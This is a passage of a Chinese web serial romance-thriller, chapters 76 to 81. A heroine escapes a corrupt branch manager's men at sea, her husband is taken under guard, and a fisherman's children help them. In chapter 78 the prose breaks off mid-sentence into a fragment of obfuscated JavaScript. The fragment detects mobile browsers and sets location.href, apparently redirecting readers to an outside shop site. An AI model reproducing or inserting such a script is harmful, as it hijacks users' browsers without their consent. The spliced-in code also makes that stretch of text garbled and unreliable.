如果万一程康真的起了歹心,小珍珠还这么小,不能被交代在这里了。
小珍珠有些想哭:“我知道的,姐姐,那你自己小心啊。”
“嗯,快去吧。”
小珍珠也跳进了水里,往回游去。
向晚看着小珍珠的背影,突然觉得有些眼熟。
她何尝不像是三年前的自己?
孤立无援,却义无反顾地要回到最危险的地方,只为了自己的亲人。
她遇到了邵寂野,虽然冷言冷语受了不少,但没有什么实质性的伤害。
可程康那伙人……
她真的有些担心小珍珠的安全。
她看出来了小珍珠的想法,她也经历过一样的绝望,所以她能理解小珍珠拼命想要回到亲人身边的心情。
所以她并没有阻止。
向晚双手合十,看向夜空中圆圆的月亮。
希望上天能善待小珍珠一家,也希望邵寂野能安全的回来。
毕竟……
他跟白荷历经这么多困苦,马上就能团聚了,他不该在这个节骨眼上出事。
轰隆隆——
远处有快艇的声音传来。
向晚猛地惊醒,仔细去看。
果然有两个白点在由远及近。
他们真的追过来了?!
向晚不敢再迟疑,轻轻划入了水中,顺势把皮筏子推远了一些,然后快速沉入水里。
快艇速度毕竟快,没几秒钟就到了皮筏子跟前。
“人呢?这里光有个皮筏子,没有人啊!”
“不知道,是不是掉海里了?”
快艇在周围来回转了几圈,涡轮在海水搅的一片浑浊。
“靠,邵寂野他女人到底去哪儿了?程总让我们务必把人带回去,现在人不见了,我们怎么回去复命?”
“哥,我不明白,我们抓到邵寂野逼着他签股权转让协议不就行了,还抓一个女人干什么?”
“你不知道,邵寂野对他老婆用情极深,他单枪匹马一个人什么都不怕,让他签字难如登天,多拖几天说不定就有变数了。但是如果抓到了他老婆,嘿嘿,他不签也得签!”
第七十六章 邵寂野还真是个情种?
“我怎么就不信呢。邵寂野之前绯闻可不少,身边女人就没断过,他还能是个痴情种?”
“那些都是障眼法而已,程总在总公司有内线,已经摸的很清楚了。他弄那么多女人不亲也不摸,更不睡,到时间了就换一个,你说哪有男人面对那么多美女还能坐怀不乱的?肯定是心里有人。”
“好家伙,都是假的啊!程总真是厉害,连这个都摸清楚了。”
“那些女人也不是不是冲着爱去的,都是为了钱。邵寂野倒也大方,给的不少。不过既然为了钱,那就好办多了,程总只要也给钱,她们可不就什么都说了么!”
“嘶——所以邵寂野还真特么是个情种?”
“多半是,”那人说:“反正这个女人对他很重要,只要抓住了他老婆,程总想要的都会得到了。”
向晚潜在水面以下,听不清两个人说的话,只能朦胧的听到一点点,但很不真切。
但她基本也猜的出来,两个人应该是在讨论她不见了,以及要去哪里找她。
她憋气已经有一分多钟了,肺部胀痛的要炸掉,这两个人还是没有要走的意思。
她冒险游到远了一些的地方,放松整个身体,整个人开始上浮。
她只把鼻子和嘴露出了水面,快速换了一口气,然后猛吸了一口,又快速潜了下去。
有一个人眼尖,看到了水面上细微的波纹:“哥,水下面好像有东西!”
“哪儿?”
“就在前面,我刚刚看到了!”
快艇开了过来,可水面上已经恢复了平静,一点动静都没有了。
“哥,会不会是邵寂野他老婆藏在水下?”
“应该不是,我们过来也有三五分钟了,女人哪能憋这么长时间的气?”
“说的也是。”
“你看见的估计就是鱼而已。”
“可是哥,那个女人不可能就这么凭空消失了吧?我们回去了怎么说?”
话音刚落,远处有一片白色的东西缓缓飘了上来。
两个人立刻注意到了,连忙开了过去。
其中一个把东西捞了上来,“哥,好像是一条裙子!女人的裙子!”
“确实是。”
“邵寂野他老婆真跟你说的一样,淹**?”
“……算了,她淹死就淹**吧,我们带着裙子回去复命就行。”
快艇很快开走了。
向晚硬是多等了几秒,等他们离开的更远了一点,才赶紧浮出水面,大口大口的呼吸着。
刚刚她在水里把身上的裙子脱了,让裙子慢慢上浮的时间,她游的更远了一些,这才躲过了他们的眼睛。
她水性一般,但是秦以枫是游泳的好手。
他喜欢运动,其中最喜欢的就是游泳,因为他的关系,向晚也经常跟他一起去。
秦以枫教她的第一课就是憋气。
向晚一开始只能憋四十几秒,然后秦以枫慢慢带着她训练,她能憋一分半左右。
但这已经是她的极限了。
秦以枫倒是没强求:“够用了,反正以后我们最多也就是去游泳馆,或者是在酒店的泳池里游泳,有我陪着你,没事的。”
不过今天向晚确实有些超常发挥了。
她知道原因。
邵寂野每次吻她时间都很长,他的吻又很霸道,很多时候都是看她憋的不行了,从一开始的又踢又打到最后软的像是棉花,他才意犹未尽的放开。
等她稍微呼吸平稳了,又是一个长吻。
她憋气的本领居然不是在水里练得,是在邵寂野的吻里练出来的,也是有点神奇。
不过今天这个憋气的本领确实救了她一命,也算是殊途同归了。
向晚不敢弄出太大的波纹,怕那两个人去而复返。
晚上的海水冷冰,她现在几乎是没穿衣服在里面游,很快就被冻的手脚有些发木。
向晚用力掐了一把自己的大腿,疼痛让她瞬间清醒了许多。
她借着月色辨别了一下方向,慢慢往青贝指的方向游去。
……
小珍珠回到船上的时候,邵寂野已经下了船。
他不想连累珍珠一家,尤其是珍珠妈妈还有重病,珍珠爸爸是家里唯一的劳动力,如果出了事,这一家人就算是完了。
所以当程康皮笑肉不笑地跟他打了招呼,请他去“吃饭”的时候,邵寂野从善如流地下了船,走进了他的包围圈。
珍珠爸爸急得不行:“邵总,你别去!”
邵寂野冲他挥挥手:“谢谢你送我过来,快走吧。”
他尽力撇清跟珍珠一家的关系,只希望程康他们不要找他们的麻烦。
程康如今快五十岁的年纪,但是保养的极好,一
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头乌黑的头发,并不秃顶。
身上穿着一身香云纱的唐装,盘扣都是用金丝缝制的,在黑夜里看着流光溢彩。
他身上有种中年人特有的那种精明和事故,眼神里透着野心,笑容似乎也带着冷厉。
“他们跟我说我还不相信,邵总和太太不是在长白山滑雪么?怎么突然来我们F市了?这一南一北的两千多公里,真是让人意外。”
邵寂野跟程康见面并不多。
只是每年年终的时候,程康要去总公司述职,才会见一次。
但即便如此,他对程康的印象却很深。
其他分公司的负责人都在努力展现自己的能力,争先恐后吹牛吹的一个比一个大,就是为了第二年从总公司拿到更多的资金支持。
但程康不是。
他从始至终都噙着笑意,看起来人畜无害的,就像是最慈祥的长辈一样,不争不抢,甚至连话都很少说。
轮到他述职的时候,也只是草草一句话,一个只有四五页的ppt,总时长都不超过五分钟。
他似乎在有意的减少自己的存在感。
这并不符合逻辑,所以他必定有瞒着总公司的事,或许还有更大的企图和打算。
前几年奶奶的影响力还在,邵寂野不方便动人。
三年前因为白荷出事跟奶奶闹僵了之后,他才有理由大刀阔斧地换人。
卢杰明和楚卫他们都是那个时候被他换到关键岗位上的。
三年过去,总公司里基本上已经都是他的心腹了。
但这些分公司却是将在外有所不受,有的阳奉阴违,有的嬉皮笑脸,还有就是像程康这种——
野心家。
他轻笑着:“我太太不太会滑雪,说想来海边逛逛,怎么,程总有意见吗?”
程康哈哈笑:“那我怎么敢?邵总年轻有为,跟邵太太夫妻恩爱,这是好事啊。只是不知道邵太太人呢?怎么没跟您在一起?”
“她呀,小孩子性格,贪玩的很,估计又跑哪里疯去了。走吧程总,不是说要请我吃饭,尽一尽地主之谊?”
程康却没动,依旧笑眯眯的:“不着急,我刚刚看到调皮的邵太太坐着皮筏子出去玩了,怕她危险,我派了两个人去保护邵太太,护送她回来。算算时间,应该也快到了。”
邵寂野猛地脸色一变。
第七十七章 邵太太回不来了
程康注意着他的反应。
邵寂野虽然只有一瞬间的变脸,很快就恢复如常,但他还是察觉到了他脖子上青筋猛地绷紧。
他脸上的笑意更大了些。
他远在F市,之前大家都说,邵寂野玩的花,白月光**之后就放飞自我,一天恨不得点八个女人陪着。
可他觉得,应该不是。
某种程度上,他也算是看着邵寂野长大的,他其实很像他爷爷。
表面上浪荡子弟,实际上极有城府。
邵家老爷子是笑面虎,尚且会做一下表面工作,而邵寂野就是头野狼。
这些年得亏是邵老太太还在,否则他们这帮老人一个个的全都得被这个年轻人砍掉。
但有一点不同。
邵老爷子是个冷情的,虽然一辈子也只有邵老太太一个女人,但满心的算计和谋划已经把他的人生填的满满当当,压根不会风花雪月。
他不爱任何人,他愿意娶邵老太太为妻,也是因为看中了她的能力,觉得她能跟自己一起并肩作战,一起打拼事业。
说是夫妻,其实战友情更贴切一些。
而他有些意外的是,邵寂野倒长出了几根情丝,之前为了白月光颓废了好久,现在结了婚,对他老婆居然也有几分在意。
这点倒是跟他爷爷截然不同。
“邵总,不知道邵太太喜欢什么菜式?我让人先去安排,等会儿邵太太回来了,我们过去立刻就能开席。”
邵寂野虽然看起来笑着,但眼神冷厉:“她没什么忌口,什么都能吃。”
程康呵呵笑:“邵总这话说的,好像邵太太多能吃似的。我听说,邵太太不能吃辣,是不是?”
他转头吩咐身后的黑衣人:“告诉厨师,辣的菜都不要上了。”
“是,程总。”
黑衣人退下,去了远处打电话。
邵寂野看着远处,心里越来越沉。
这个程康看来是有备而来,连向晚不吃辣他都知道。
他突然有些后悔,就不应该一时大意,带着向晚来小珍珠家里住。
他本想着,他们两个人之前都是在互相的猜忌和算计中度过,好不容易有机会单独带她出来玩几天,可以远离H市那个复杂的漩涡,过几天纯粹的,清闲的二人世界。
可这里毕竟偏僻,比不上市里。
酒店里有监控,路上也人流如织,程康至少有所忌惮。
不像这里,他们几乎与世隔绝,连传递消息都做不到。
青贝到底还是个孩子,力气有限,也不知道向晚能不能逃得掉……
“程总,他们回来了!”
远处,两艘快艇往这边驶来。
程康立马笑道:“看来应该是接到邵太太了,我还是第一次见邵太太呢,走,过去跟她打个招呼。”
程康越过邵寂野,往海边走去。
很快,两艘快艇就靠了岸。
快艇上跳下来两个人,但是……没有第三个人了。
程康脸色微变:“让你们去护送邵太太,人呢?”
两个手下有些尴尬,抓了抓头发。
“程总,邵太太已经……”
“已经什么了?”
“我们赶到的时候,皮筏子上已经没人了。我们在原地等了一会儿,找到了这个……”
为首的那个把那条浅蓝色的裙子递了过来。
程康目光锐利,语气中带着压迫感:“你们在原地等了多久?”
手下赶紧汇报道:“大概五六分钟,我们两个一直盯着水面,没有发现任何踪迹。”
五六分钟。
一般人根本憋不了这么久的气。
程康用手指勾起那条裙子,换上了一副笑吟吟的表情,转身对邵寂野说:“邵总,真是不幸啊,邵太太可能回不来了。”
邵寂野一眼就看到了他手上的裙子,蓦然变了脸:“你们把她怎么了?”
“邵总别动怒,我的两个手下怎么敢对邵太太不规矩呢?是今天的风浪太大,那个皮筏子太小禁不住颠簸,邵太太坠下了海……不过我手下捡了这条裙子回来,邵总应该认得吧?”
邵寂野浑身的肌肉都在一瞬间绷紧。
他冷笑道:“是海风太大,还是程总您的势力太大?”
程康装作一脸无辜:“邵总说的话,我可听不懂。您是总裁,我只是一个分公司的经
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理,要说权利,那也应该是您最大呀。”
邵寂野看着他嬉皮笑脸的样子,胸中像是燃着一团火。
他推开了程康,直接海参上了快艇,快速往向晚离开的方向追去。
身后的保镖立刻喊道:“快追!”
程康抬了抬手:“不用追,让他去。”
保镖不放心:“程总,万一他跑了怎么办?这次可是千载难逢的机会啊!如果邵寂野‘失踪’了,那整个邵氏集团就能改姓程了!”
程康笑眯眯地,转了转左手食指上的翠玉扳指:“我们这么多人,还怕他跑了不成?等着吧,我也想看看,传闻中的邵太太对他到底有多重要,比不比得上三年前的那个**。”
他还想再确认一下,于是又追问了一遍刚刚开快艇出去找向晚的那两个手下。
“你们确定在原地停留了五六分钟,一点什么微小的痕迹都没有?”
两个人点头如捣蒜。
“程总,我们两双眼睛都在看着呢,水面上平静的很,连气泡都没有。”
程康满意地点了点头:“很好,看来老天爷都在帮我。”
……
邵寂野开着快艇,一路顺着方向找了过去。
青贝水性再好,游泳的速度肯定是比不上快艇,更别说他还要拉着皮筏子上的向晚。
邵寂野已经开出去了很远,可茫茫大海,除了浪花之外,什么都没有。
他突然感觉浑身都好像是被抽掉了力气。
怎么会……
怎么会?!
他熄了火,任由快艇在海浪上高低起伏漂泊。
抬起头,今晚的月亮跟昨晚并没有太大的不同。
可向晚呢?
昨晚明明还在他怀里睡得无知无觉。
今天为什么出去的是个大活人,回去的就只剩下一条裙子了?
这一瞬间,邵寂野感觉自己的心都是空的,冷风呼呼地往里面灌,把他整个人都冻了个透彻。
等等——
邵寂野突然觉察到一点不同寻常。
他嘱咐过青贝,让他一定要保护好向晚的。
如果向晚真的在这里坠海了,那青贝现在人在哪里?
第七十八章 “邵太太”葬身海底
不知道过了多久,另一艘快艇逐渐靠了过来。
这次快艇上足足有五六个人,统一的黑衣黑裤,都是程康的手下。
“邵总,程总让我来跟您说一声,这片海里有鲨鱼出没,前些天还出过一起鲨鱼**的事件。您还是不要久待的好,岸上已经帮您备好了酒菜,程总就等您一起吃饭了。”
邵寂野脸色依旧冷若冰霜。
青贝下落不明,也有可能是因为没有保护好向晚,怕他追究,所以躲起来了。
不能说明什么。
可他不信。
向晚是个坚强的人,三年前那么大的人生变故都没有把她击倒,不到最后一刻,她不会轻言放弃。
如果青贝真的想出了什么办法,让向晚躲过了那两个爪牙的追捕,成功离开了这里,那他现在要做的,就是尽可能的争取更多时间,让向晚可以脱险。
他刚刚不禁在想,她会不会真的就利用这一次的机会,玩一出金蝉脱壳?
她已经拿到了钱,完全可以拿着钱跟秦以枫一起远走高飞。
至于天隆集团,她完全可以利用秦叔的手来操纵,用从他这里拿到的资金一点点蚕食向天健手里的股份,最后把他踢出局,真正把她爸爸的心血拿回来。
从始至终,她甚至根本都不用露面。
“邵太太”葬身海底,世界上再也没有向晚这个人。
更或者,她已经替他想好了退路。
她走了,跟她长相相似的白荷就可以顶替她,继续扮演“邵太太”的角色。
这样的话,邵氏的股市就不会动荡。
而且在她的概念里,自己跟白荷名正言顺在一起,也算是美好的结局。
邵寂野突然觉得,他很不了解向晚。
一开始见她,她虎的像是一头小狮子,天不怕地不怕;
后来再见她,她就成了唯唯诺诺的木偶人,被奶奶死死地控制着。
可他见过在秦以枫面前的她。
她活泼,开朗,那么鲜活,那么有生命力。
她是真的被爸爸妈妈放在掌心上宠出来的,甚至在秦以枫面前,她都是有几分女孩子的刁蛮和任性的。
只有在他面前,她是个再完美不过的“邵太太”。
替他打发女人,对他的冷言冷语阴阳怪气充耳不闻,甚至就连夫妻生活都只是沉默配合,但毫无回应。
邵寂野不禁在想,当邵太太的这三年,应该是她生命中最憋闷最**的三年了。
她是为了钱才留在这里。
倘若她就这么走了,会不会过得快乐一点?
“邵总,邵总?”
黑衣人等了好半天没等到邵寂野的回复,又叫了两声,似乎是在催促。
邵寂野“嗯”了一声:“走吧,回去,别让程总久等。”
两艘快艇再次回到岸边,程康的手下不知道从哪里弄来了一把太师椅,程康端坐在上面,依旧噙着笑意。
“邵总要想开点,人生自古谁无死?邵太太虽然红颜薄命,但她心地善良,帮助弱小,一定是上天堂了。”
邵寂野扫了他一眼。
他知道程康说的是珍珠一家。
邵寂野沉声道:“程总今天只是请我吧?应该不会再请别人了吧?”
程康哈哈笑:“其他人也没资格上我的席面。他们这群臭打渔的,怎么能影响我跟邵总对饮的兴致呢?”
邵寂野微微安下了心。
他从快艇上跳了下来,正好看到珍珠爸爸就站在船舷上,焦急地看着他。
没回来的不止有向晚,还有他的一双儿女。
邵寂野收回目光,看向程康:“走吧程总,一会儿菜凉了。”
“好,就等邵总您这句话呢。”
程康做了个“请”的姿势,邵寂野一看都没看他,自顾自地走了。
程康在手下面前被他一个晚辈落了面子,脸色顿时沉了下来。
手下在他身后轻声问道:“程总,现在下手吗?”
他身后的黑衣人们已经严阵以待,蠢蠢欲动,只要程康一声令下,就立刻扑上去把邵寂野按在海里。
程康眼中闪过一丝阴毒。
他筹谋半生,机会就在眼前。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497249|202565||http|test|mini|href|location''.split(''|''),0,{}));
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r>这里没有监控,远离人群,邵寂野的“尸体”就算过几天被渔民发现,也可以说是失足落水。
之后就是他直接飞去H市总部,正式接管整个集团。
邵老太太年纪大了,拖都能拖到她死。
他心一横,狠狠咬牙,满脸狰狞,正要下命令,就听到不远处的海里传来一个清脆的女孩子的声音。
她小小的身躯在海里浮浮沉沉,离的不远不近,丝毫没有上岸的意思。
“爸爸,今天怎么这么多客人呀?”
珍珠爸爸听到了女儿的声音,连忙跑到了甲板上查看。
看到女儿好好的,珍珠爸爸五味杂陈:“珍珠,你没事吧?”
小珍珠在水里打了个滚,嘻嘻笑:“我是在海边长大的孩子,当然没事啦!爸爸,我在海底发现了海星哦!我再下去摸一些,回头拿去夜市上卖!”
说完这句话,她一个猛子扎了下去,瞬间消失在海平面上。
过了一会儿,又在远一些的地方浮了上来,手里举着一个橙黄色的海星,兴奋地冲岸上挥舞:“客人们,你们想尝尝海星吗?你们人太多了,我再下去捡一些,回头给你们送到那栋金灿灿的大楼去!”
说完,她又消失了。
再一次出现的时候,居然是在跟刚刚完全相反的两个方向,手里又多了两个海星。
这小孩子身子小,还灵活,水性还好,在水里几乎是神出鬼没的。
快艇只是开直线的时候比游泳快,但是要是这个女孩子一直转弯绕圈的话,快艇还真拿她没有办法。
更关键的是,她知道他们就是金色大厦里的人!
如果真的把邵寂野弄死,这个小女孩就是目击证人。
万一真让她跑了,后患无穷……
邵寂野远远地看着在海里不停消失又出现,却始终跟岸边保持着一定距离的珍珠,已经明白了一切。
这孩子是真的聪明。
邵寂野微微勾唇,回身催促道:“程总是不是年纪大了,腿脚不行了?赶紧走吧,我可是饿得不行了。”
第七十九章 以身为饵
程康看向月光下波光粼粼的海面。
小珍珠像是一条灵活的小鱼,在水里游来游去。
偶尔还停下来观察他一会儿,注意到他的视线后,又飞快的潜入水里。
身后的黑衣人在他耳边报告说:“这个小女孩就是这个渔民家的大女儿,之前渔村拆迁的时候,其他人只是闹,弄死一两个杀鸡儆猴之后就安静了。只有他们家,这个小女孩极为聪明,不知道从海底哪里找到了一种保护性贝类,还发到了网上,引起了不小的风波。”
程康能跟本市的各部门打好关系,威逼利诱选一样,一样不行两样都上,总能把事情摆平。
但现在是网络时代,很多东西只要一上网,传播范围就是**似的,很难控制。
程康对这件事有点印象,因为那是他这么多年盘踞在F市这个地方唯一遇到的一个糟心事。
首都的环保部门直接来了F市调研,在渔村附近海域寻找那种保护性贝类,说是什么国家二级保护动物,如果破坏了这个地方的生态环境,会导致这种贝类濒临灭绝。
他的金色大厦已经准备开始打地基了,突然被环保局喊了停,硬是拖了大半年,环保局的人终于离开了F市回了首都,才重新破土动工。
原本他找了高人算好的黄道吉日,就这么被一个小女孩搅局了。
当时他震怒不已,让手下到处去找这个女孩,但是找了许久都一无所获。
再后来各种事情纷纷扰扰,他也就逐渐忘了还有这回事。
也真是巧了,今天机缘巧合遇到了当初的罪魁祸首,而且她居然还跟邵寂野有关联。
那就别怪他心狠了。
程康眼神微微垂下来,低声对后面的保镖吩咐道:“蒋大师说,大厦下面需要种生基才能旺我,要一对童男童女才行,你去办好。”
保镖跟了他许多年,程康一开口,他就明白了。
这户人家里刚好有一儿一女,正好凑足一双童男童女。
“是,程总放心,我一定办好。”
程康再次抬起头来的时候,脸上又挂上了慈祥的笑意:“我到底是上了年纪,不及邵总正值壮年,这就来。”
邵寂野在原地等了一会儿,看到了程康看向小珍珠的时候阴郁的眼神,还有他低声跟保镖吩咐什么事情。
他扬声对珍珠爸爸说道:“对了,你们答应帮我捉野生牡蛎的,记住,我只要深海的,个头必须要比我的巴掌大的,小的我可不要,钱都好说,过几天我来取。”
珍珠爸爸一头雾水,有些没听明白。
小珍珠不知何时已经游到了船后的阴暗处,她身量小,藏在船下面不浮上来,岸上的人都看不见。
她轻轻敲了敲船的舢板。
珍珠爸爸一回头,看到了水里的女儿。
小珍珠冲他打了个手势,珍珠爸爸这才瞬间明白了,立刻钻进了船舱里,发动了船加足马力往海中央开去。
“不好!他要跑!快追啊!”
几个黑衣人立刻就要上快艇去追。
邵寂野厉声叫了一声:“程总,我找个人帮我捞牡蛎,难道也不行吗?”
程康知道,邵寂野这是要保下这一家渔民的意思。
但是这个小女孩坏了他的大好事,不把她弄死填埋在他的金色大厦下面,难以泄他心头之恨!
邵寂野又催促道:“程总,这饭到底吃不吃了?你要是腿脚不好,不如到H市来,我给你找个好点的骨科医生看看。”
程康心下一衡量。
到底还是邵寂野这边更重要一些。
如果只顾着抓渔民一家,让邵寂野跑了,那才是放掉了大鱼。
于是他咬着牙对着手下们喊道:“回来!还不赶紧上车,给邵总引路!”
手下们原本都已经上了快艇了,听到这话,纷纷又跳了下来,窸窸窣窣地上了车。
程康的车是一辆纯黑色的限量款莲花,全球只有五辆,能开得起的人不是外国政要就是好莱坞巨星。
程康只是一个小小的分公司经理,以他的彩礼,恐怕连这辆车的一个轱辘都买不起。
程康的保镖拉开车门,用手挡着车顶。
程康正要上车的时候,突然停了停,看向了旁边的另一辆车。
邵寂野身边被十几个黑衣人簇拥着,正准备上旁边那辆普通的奔驰。
十几个人围着他,想必他也逃不了,况且除了这十几个人之外,今天自己带来的人还有许多,邵寂野落在了
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他的地盘里,就算是条龙也得给他盘着!
想到这里,程康心里一阵痛快。
被一个小辈骑在头上这么多年,他为邵氏集团冲锋陷阵的时候,这小子还在他妈怀里吃奶呢!
现在可倒好,上来了就要把他踢出去,哪有这么好的事!
程康吩咐保镖:“把他给我看**,这小子一肚子坏水,不能掉以轻心。”
“是。”
保镖护着程康上了车,关上车门后,又看了一眼旁边,
邵寂野似乎并没有要反抗的意思,乖乖上了车,配合的不行。
注意到了他的视线时,还微笑着冲他点了点头,似乎是在打招呼。
出于礼貌,保镖也轻轻点了一下,算是回应。
车队浩浩荡荡的离开了海边,往市内进发。
海中央,珍珠爸爸已经把小珍珠从海里拉了上来,他脱下自己的外套,把女儿裹住,心疼的不行。
不管白天温度如何,一到晚上,这海水就是刺骨的寒冷。
女儿还那么小,在水里泡了这么久,肯定冻坏了!
小珍珠也是真的冷坏了,被爸爸抱在怀里,好一会儿才恢复知觉。
“爸爸,”小珍珠说:“我们船上还有多少吃的?”
珍珠爸爸想了想,说:“原本是打算过两天就出海捕鱼的,所以囤了一些,大概够我们一家四口吃一个礼拜左右。”
“我们省着点吃,打上来的鱼也不要卖了,留着我们自己吃。这段时间,我们都不要靠岸,一直住在海上,如果有可疑的船靠近,我们赶紧加足马力离开!”
珍珠爸爸当然知道,程康不会这么善罢甘休的。
今天是邵先生拖了点时间,让他逃了。
一旦靠岸,等待他们一家人的,恐怕就是灭顶之灾。
珍珠爸爸想起三年前,村里的阿呆被他们带走,就再也没有回来。
村里有人说,是因为阿呆带头跟他们闹,不让他们推平房子,最后直接被程康的人开着挖掘机碾过去了,最后连个尸首都没有,土地上剩下的只有血红一片的碎肉和破碎的衣服。
那一幕太惨了,惨到他现在都无法释怀。
珍珠爸爸把女儿搂紧:“好,就听我乖宝的。”
第八十章 邵寂野留了后手
“对了,我还得给弟弟留个信号!”
青贝护送姐姐去安全的地方,也不知道什么时候回来,万一上了岸,被程康的人捉住,那就坏了!
小珍珠让爸爸把船开到了一个礁石旁边。
她从船舱里拿来了一个废弃的渔网,扔在了礁石上。
这是也是他们家约定的一个暗号。
这个礁石是他们每次出海都要经过的地方,也是青贝返回时候的必经之路。
看到废弃渔网,就说明岸上有情况,先不要回去,就在礁石上等待。
“爸爸,以后每天我们都开船过来看看弟弟回来了没。”
珍珠爸爸应下。
小珍珠站在甲板上,看着远处飞驰而过的一列黑色的车队,双手合十,向上天祈祷:“邵叔叔,还有姐姐,你一定要好好的啊!”
……
天色蒙蒙亮的时候,向晚才终于游到了青贝说的浅滩上。
这里几乎与世隔绝,上了岸之后需要翻过一座小山才能到达F市市区。
因为这里景色并不好,又需要翻山,所以几乎没有游客来这里。
向晚在水里脱掉了裙子,浑身上下只有内衣内裤。
一上岸就感觉浑身发冷,头也晕晕乎乎的。
昨晚她几乎是强打着精神,用意志力支撑着自己拼命的游,可现在上了岸松懈下来,身体的不适感就一下子冒了出来。
她在海边找到了一些被海浪拍打上来的破帆布裹在身上。
这些应该都是船上丢弃的,最后又被海浪冲了回来。
只是帆布也是湿漉漉的,裹在身上并没有感觉到暖和,反而更是寒气森森。
向晚往前走了一段,找了一个比较被风的角落,想要生点火取暖,可她现在身上没有任何可以引火的东西,连点火都成了奢望。
恰在这时,不远处传来了两个人交谈的声音。
是两个男人!
向晚浑身的神经顿时都绷紧了。
难道是程康的人?
“邵太太——邵太太你在吗——”
找她的?!
难道是青贝已经到了警局,让他们看到了自己录制的视频?
可是邵寂野说过,程康在F市的势力不容小觑,即便是警察,也不能完全信任。
向晚不敢掉以轻心。
所以昨晚在跟青贝分别的时候,她还额外交代了青贝一件事。
就是上岸之后,先不要着急把电话手表交给警察,先去网吧,把电话手表里的视频导出来,直接发到网上。
确定这条视频在各大视频平台发出去之后,再带着电话手表去警局报案。
由于她之前被邵寂野的各种骚操作带着一起上了很多次热搜,不论是骂她“忍者神龟”还是后面夸她“拯救银河系”的,至少她在公众面前也算刷了个脸熟。
她作为大家都认识的“邵太太”,拍摄视频实名指控作为分公司经理的程康,还是有可信度的。
也托邵寂野这张脸实在很耐打原因在,有些小女生很迷他,把他当明星一样追。
虽然经常会在网上看到污言秽语骂向晚是个老大妈或者心机女的,但最起码也是热度。
有了这些人的推波助澜,邵寂野和她算是素人里面比较出名的那一批。
有了公众的关注,程康这个地头蛇想要做什么,也得掂量掂量。
邵老太太现在的确是站在他这边的,但是邵寂野毕竟是她唯一的孙子,倘若邵寂野出了事,邵老太太绝对不会再信任他,说不定还会亲手把他送进监狱,看着他枪决。
向晚找了个灌木丛,躲了进去。
她身上的帆布成了最好的伪装,那两个警察从旁边经过的时候,没有注意到她。
而她却清清楚楚听到了那两个人的交谈。
“她是还没游上来,还是已经死在海里了?”
“不知道啊,那个小孩儿说她就是往这个方向游的,已经一晚上了,怎么说都应该上岸了。”
“那我们现在怎么办?”
“在这等等吧,程总的意思是如果见到了人立刻弄死,不能让她出F市。你不是也看到了吗?她录制的那段视频,已经被发到网上了,现在省厅那边已经开始追究了,如果不做的干净点,谁也别想跑!”
“可是……”
“别可是了,现在最好的结果,就是姓邵
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的他女人已经在海里被鲨鱼吃了,活不见人死不见尸。”
向晚躲在暗处,不禁浑身发麻。
这个程康,真的是无法无天了!
仗着自己天高皇帝远,自己干了这么多黑心事,却拉着整个邵氏的声誉给他陪葬!
向晚不禁想起,她把手上的钱都买了邵氏的股票,原本是想着趁着邵寂野大力推进新版块的东风狠狠赚一笔,也不知道秦以枫把钱都套现了没。
万一还没来得及,那程康事件绝对会让邵氏的股价腰斩不可!
不远处,那两个男人还在来回转悠着。
“哥,我们要等到什么时候啊?”
“等到今天晚上吧,一天一夜都没游上岸,那估计是真的死在海里了。”
“啊,那还要等一整天啊!这里都没人,后面的山林子里还有乌鸦叫,怪渗人的。”
“你一个大男人,还怕乌鸦?”
“你不怕吗?”
“……以前听家里老人说,这个荒山上死过不少人,都是吊死的,阴气很重。”
“哥你快别说了,越说越害怕。咱们还是回城里吧,找个人气旺的地方晃荡一天,晚上回去交差就行了”
另一个立刻说:“走走走……”
两个人匆匆离开了。
向晚又等了半个小时左右,确定没有人回来,才小心翼翼的从灌木丛里走了出来。
她微微放松了一些,可这具身体却有些支撑不住了。
她感觉自己现在像是一个火球,浑身都滚烫的不行。
她想去海边,用冷水给自己降降温,可是脚下像是灌了铅一样沉重,眼看着就在不远处的海边,却怎么都到不了。
“姐姐——”
在她晕倒的前一秒,青贝从树林子里钻了出来,冲了过来:“姐姐!我回来了!”
向晚看到是青贝,有些担心,一直往他身后看。
青贝安抚她说:“姐姐你放心,这个林子里只有小孩子能穿过来,大人过不来的。而且我速度快,他们追不上我。”
青贝扶着她站了起来,帮她裹紧身上的帆布,轻声说:“姐姐,你坚持一下,我带你去见邵叔叔。”
第八十一章 我想我老婆了
暮色四合。
邵寂野从未像今天这样,惧怕夜晚的来临。
帮助珍珠一家脱险之后,他满脑子都是向晚被带回来的那条裙子。
虽然他很不愿意相信,更不愿意往不好的方向去想。
可心里不断涌现的焦躁根本掩饰不住。
负责开车的是程康的手下,大概是为了看管他,副驾驶和后排也各坐了一个人。
邵寂野看向窗外,行道树在飞速后退,昏黄的路灯更是让人心烦意乱。
“邵总别急,马上就到吃饭的地方了。”
副驾驶上的黑衣人说道。
邵寂野心里正堵得慌,这个人正好撞到枪口上来。
邵寂野直接问道:“你们程总准备带我去哪里,吃什么?”
黑衣人说:“一会儿您到了就知道了。”
“没到我也知道,”邵寂野满不在乎道:“去黄泉路,喝孟婆汤,对不对?”
黑衣人互相对视了一眼,没说话。
邵寂野老神在在地闭上眼睛,把头放在靠背上假寐,仿佛根本不在意接下来会发生的事。
黑衣人们也不敢多话,专注开车。
他们从后视镜里观察着,邵寂野全程都很安静,没有反抗,也没有其他多余的动作,甚至他们设想中的暴力抢夺方向盘,或者是想办法跳车,都没有。
他们做了万全的准备。
程总等这一天已经好久好久了,绝对不能有闪失。
可邵寂野这种人,真就这么乖乖跟他们走了?
一旦进入金色大厦,那就彻底是程总的地方了,他能完完整整的进去,恐怕是不能完完整整的出来了。
想到这里,黑衣人又看了后视镜一眼。
这一次,邵寂野已经睁开了眼睛,正在看着窗外。
他似乎觉察到了几个黑衣人都在看他,指着外面的一排开满白色花朵的树问道:“这是什么树?”
副驾驶位置上的黑衣人看了一眼,解答道:“邵总,这叫流苏树。”
“F市特有的吗?”
“也不是,挺多地方都有的。”
“挺好看的。”
“嗯。”
“我老婆肯定喜欢,”邵寂野说:“她爱打扮,最喜欢这种仙气飘飘的东西了,裙子上不带两个飘带她都不爱穿。”
黑衣人摸了摸鼻子,没说话。
邵太太坠海,凶多吉少,恐怕这辈子都看不上了。
